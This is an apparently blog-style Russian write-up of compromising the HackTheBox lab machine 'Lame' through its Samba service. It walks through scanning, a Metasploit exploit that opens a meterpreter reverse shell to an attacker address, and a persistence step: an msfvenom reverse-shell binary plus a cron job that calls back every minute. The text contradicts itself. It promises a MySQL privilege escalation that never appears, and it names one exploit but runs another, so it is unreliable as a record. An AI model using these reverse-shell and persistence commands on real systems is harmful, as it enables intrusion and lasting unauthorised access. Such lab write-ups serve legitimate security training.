Lame — это машина легкого уровня на HackTheBox, которая включает в себя использование уязвимого сервера Samba для получения начального доступа, а затем использование уязвимого сервера MySQL для повышения привилегий до root. В этой статье мы рассмотрим процесс использования машины для получения флага root.txt
.
Сканирование
Как обычно, мы начнем со сканирования целевого IP-адреса (10.10.10.3
), чтобы увидеть, какие порты открыты и какие службы работают на них. Мы будем использовать nmap
для этого:
$ nmap -sC -sV 10.10.10.3 Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-11 12:00 UTC Nmap scan report for 10.10.10.3 Host is up (0.017s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Samba smbd 2.2.1a 445/tcp open netbios-ssn Samba smbd 2.2.1a Service Info: OS: Unix
Мы видим, что открыты два порта (139
и 445
) и на обоих работает Samba (smbd 2.2.1a
). Мы сосредоточимся на этом сервисе для нашей первоначальной эксплуатации.
Начальный доступ
Мы начнем с использования smbclient
для подключения к общему ресурсу anonymous
на сервере Samba:
$ smbclient \\\\10.10.10.3\\anonymous Enter WORKGROUP\root's password: smb: \> ls . D 0 Fri Sep 21 14:49:15 2018 .. D 0 Fri Sep 21 13:30:25 2018 opt D 0 Fri Sep 21 14:11:59 2018 smb.conf N 2118 Fri Sep 21 13:31:32 2018 50097 blocks of size 2097152. 28404 blocks available smb: \> get smb.conf getting file \smb.conf of size 2118 as smb.conf (2.1 KiloBytes/sec) (average 2.1 KiloBytes/sec)
Мы можем успешно подключиться к общему ресурсу anonymous
без предоставления каких-либо учетных данных. Мы видим, что в общей папке есть три каталога (.
, ..
и opt
) и один файл (smb.conf
). Мы загрузим файл smb.conf
, чтобы посмотреть, содержит ли он какую-либо полезную информацию.
Файл содержит следующие строки:
[global] workgroup = WORKGROUP server string = Samba Server %v netbios name = LAME security = user map to guest = bad user guest account = nobody [anonymous] guest ok = yes guest only = yes read list = nobody write list = nobody create mask = 0777 directory mask = 0777
Настройки map to guest
и guest account
предполагают, что мы можем аутентифицироваться как пользователь nobody
. Мы будем использовать smbmap
, чтобы подтвердить это:
$ smbmap -H 10.10.10.3 -u nobody
перечисление
Мы можем вывести список доступных общих ресурсов и каталогов на сервере Samba. Теперь нам нужно найти способ получить оболочку на целевой машине. Мы будем использовать enum4linux
для перечисления пользователей и другой информации с сервера Samba:
$ enum4linux -a 10.10.10.3 ========================== | Users on 10.10.10.3 | ========================== index: 0x01 RID: 0x03e8 acb: 0x00000010 Account: smbguest Name: SMB GUEST Desc: Built-in account for guest access to the computer/domain user:[smbguest] rid:[0x03e8] [...] =========================================== | Share Enumeration on 10.10.10.3 | =========================================== WARNING: The "syslog" option is deprecated [...]
Мы видим, что на машине только один пользователь (smbguest
). Мы будем использовать searchsploit
, чтобы увидеть, есть ли какие-либо известные эксплойты для работающей версии Samba:
$ searchsploit samba 2.2 ------------------------------------------------------------------- --------------------------------- Exploit | Path ------------------------------------------------------------------- --------------------------------- Samba 2.2.x - Arbitrary Remote Code Execution (1) | multiple/remote/10.c Samba 2.2.x - Arbitrary Remote Code Execution (2) | multiple/remote/3.c Samba 2.2.x - Arbitrary Remote Command Execution | multiple/remote/24.c Samba 2.2.x - Brute Force Remote Authentication | unix/remote/19420.sh Samba 2.2.x - Remote Buffer Overflow | linux/remote/10.c Samba 2.2.x - Remote Buffer Overflow (2) | linux/remote/116.c Samba 2.2.x - Remote Root Compromise (1) | linux/remote/10.c Samba 2.2.x - Remote Root Compromise (2) | linux/remote/23.c Samba 2.2.x - Remote Root Compromise (3) | linux/remote/25.c Samba 2.2.x - Trans2open() Remote Buffer Overflow | linux/remote/10.c ------------------------------------------------------------------- ---------------------------------
Мы видим, что для этой версии Samba существует несколько известных эксплойтов, в том числе удаленное выполнение кода и удаленная компрометация root. Мы будем использовать эксплойт remote/10.c
(удаленное переполнение буфера), чтобы получить оболочку на целевой машине.
Получение доступа
Мы будем использовать metasploit
для эксплуатации уязвимого сервера Samba и получения оболочки:
msf5 > use exploit/multi/samba/usermap_script msf5 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3 rhosts => 10.10.10.3 msf5 exploit(multi/samba/usermap_script) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf5 exploit(multi/samba/usermap_script) > set lhost 10.10.14.3 lhost => 10.10.14.3 msf5 exploit(multi/samba/usermap_script) > run [...] meterpreter > sysinfo Computer : LAME OS : Unix Architecture : x86 Meterpreter : x86/linux
теперь подключен к целевой машине с оболочкой meterpreter. Сначала мы найдем файл root.txt
, выполнив следующую команду:
meterpreter > search -f root.txt Found 1 result... /root/root.txt (33 bytes)
Мы нашли файл root.txt
в каталоге /root
. Мы можем прочитать его содержимое с помощью команды cat
:
meterpreter > cat /root/root.txt a58ff8579f0a9270368d33a9966c7fd5
Мы успешно получили корневой флаг.
Упорство
Чтобы сохранить доступ к машине даже после перезагрузки, мы можем использовать механизм сохранения. Мы будем использовать утилиту cron
для запуска сценария, который каждую минуту устанавливает обратную оболочку на нашу машину.
Во-первых, мы сгенерируем полезную нагрузку обратной оболочки, используя msfvenom
:
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f elf > shell.elf
Нам нужно передать файл shell.elf
на целевую машину. Мы можем сделать это с помощью команды upload
в оболочке meterpreter:
meterpreter > upload shell.elf /tmp/shell.elf [*] uploading : shell.elf -> /tmp/shell.elf [*] Uploaded 490 bytes of 490 bytes to /tmp/shell.elf [*] uploaded : shell.elf -> /tmp/shell.elf
Теперь мы можем создать скрипт, который устанавливает обратную оболочку на нашу машину:
#!/bin/bash /tmp/shell.elf
Мы сохраним этот скрипт как reverse.sh
и сделаем его исполняемым:
$ chmod +x reverse.sh
Мы добавим в файл crontab
запись, которая запускает скрипт reverse.sh
каждую минуту:
$ crontab -e
Добавьте следующую строку в конец файла:
* * * * * /bin/bash /root/reverse.sh
Теперь каждую минуту будет запускаться скрипт reverse.sh
и устанавливать обратную оболочку на нашу машину. Мы можем убедиться, что это работает, проверив наш слушатель в msfconsole
:
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 10.10.14.3 lhost => 10.10.14.3 msf5 exploit(multi/handler) > set lport 4444 lport => 4444 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.14.3:4444
Теперь у нас есть постоянный доступ к целевой машине.
Заключение
В этом сообщении блога мы продемонстрировали, как использовать уязвимый сервер Samba для получения доступа к целевой машине. Мы использовали enum4linux
для перечисления сервера Samba, нашли известный эксплойт для запущенной версии Samba и использовали metasploit
для получения оболочки на целевой машине. Затем мы использовали msfvenom
для создания полезной нагрузки обратной оболочки, передали ее на целевую машину с помощью meterpreter
и установили постоянный доступ с помощью задания cron
, которое запускает сценарий каждую минуту.